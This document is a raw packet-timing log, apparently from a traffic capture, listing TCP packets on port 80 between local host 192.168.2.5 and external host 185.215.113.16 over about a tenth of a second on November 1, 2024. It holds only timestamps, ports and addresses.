Nov 1, 2024 05:02:38.740022898 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.740030050 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.740048885 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.740070105 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.760782957 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.761646986 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.765635967 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.765698910 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.765713930 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.765758038 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.766436100 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766479015 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766489029 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.766494036 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766554117 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.766598940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766613007 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766628027 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766644001 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766649008 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.766676903 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.766712904 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766820908 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766835928 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766856909 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766877890 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766877890 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.766894102 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766905069 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.766908884 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.766932011 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767124891 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767148972 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767163038 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767177105 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767189980 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767191887 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767210007 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767219067 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767225981 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767231941 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767241955 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767263889 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767281055 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767286062 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767296076 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767296076 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767318964 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767334938 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767338037 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767388105 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767545938 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767581940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767596960 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767618895 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767633915 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767657995 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767731905 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767746925 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767760992 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767779112 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767786980 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767816067 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767853975 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767868996 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767884970 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767899036 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767915010 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767921925 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767930031 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767945051 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767949104 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767961979 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767963886 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.767978907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.767993927 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768019915 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.768044949 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.768424034 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768439054 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768452883 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768472910 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768492937 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.768507957 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768507957 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.768523932 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768539906 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768554926 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768563986 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.768572092 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768587112 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768590927 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.768601894 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768618107 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.768620014 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768635988 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768651009 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768656969 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.768673897 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768690109 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.768697977 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768713951 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768728971 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768744946 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768759966 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768769979 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.768775940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768791914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768800974 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.768805981 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.768840075 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.769402027 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769433022 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769455910 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.769462109 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769469023 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769474983 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769483089 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769490004 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769493103 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769510031 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769511938 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.769526958 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769539118 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.769542933 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769553900 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.769558907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769576073 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769582987 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769587994 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.769588947 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769604921 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769613028 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.769622087 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769635916 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.769639015 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769655943 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769660950 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.769671917 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769687891 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769694090 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.769706011 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769721985 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.769731998 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.769759893 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.770332098 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770354033 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770395041 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770399094 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770416021 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770418882 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.770426035 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770442009 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770452976 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.770457029 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770473957 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770488977 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770499945 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.770499945 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.770503044 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770522118 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770529032 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770529985 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.770538092 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770553112 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770567894 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770577908 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.770582914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770600080 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770607948 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.770615101 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770631075 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770646095 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770653009 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.770663023 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770678043 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770679951 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.770703077 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.770713091 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.770746946 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.771119118 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771136045 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771150112 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771202087 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.771254063 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771270037 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771284103 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771306992 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771310091 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.771328926 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.771342039 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771363020 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771377087 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771390915 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771404982 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771420002 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771425962 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.771435976 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771454096 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771457911 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.771467924 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771480083 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.771483898 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771500111 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771507025 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.771514893 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771531105 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771547079 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771550894 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.771562099 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771574020 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.771578074 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.771605015 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.772232056 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772253036 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772275925 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772285938 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.772299051 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772309065 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.772316933 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772332907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772347927 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772361040 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.772371054 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772375107 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772380114 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772394896 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772398949 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.772412062 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772416115 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.772427082 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772438049 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.772444010 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772459030 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772463083 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.772475004 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772490025 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772505045 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.772506952 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772524118 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772527933 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.772541046 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772556067 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772563934 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.772572041 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772587061 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.772623062 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773175001 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773190022 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773225069 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773237944 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773248911 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773263931 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773278952 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773288965 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773294926 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773310900 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773317099 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773327112 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773343086 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773356915 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773356915 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773375034 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773381948 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773391008 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773406982 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773422956 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773430109 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773438931 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773453951 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773459911 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773469925 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773478985 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773487091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773502111 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773516893 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773519993 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773531914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773539066 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773549080 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773565054 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773583889 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773608923 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.773972034 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.773988962 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774003983 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774033070 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.774116993 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774133921 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774147987 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774164915 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774179935 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.774179935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774199009 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774214029 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.774218082 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774236917 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.774259090 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.774261951 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774293900 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774307966 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774322987 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774338961 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774348021 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.774353981 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774362087 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.774369955 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774386883 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774391890 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.774405956 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774421930 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774437904 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774447918 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.774454117 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774468899 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774470091 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.774485111 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774492025 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.774501085 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774518967 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.774523020 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.774595976 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.781899929 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.781914949 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.781930923 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.781955957 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.781971931 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.832786083 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.837601900 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.837647915 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.837663889 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.837697983 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.837707043 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.837714911 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.837733030 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.837744951 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.837771893 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.837833881 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.837850094 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.837867975 CET	80	59856	185.215.113.16	192.168.2.5
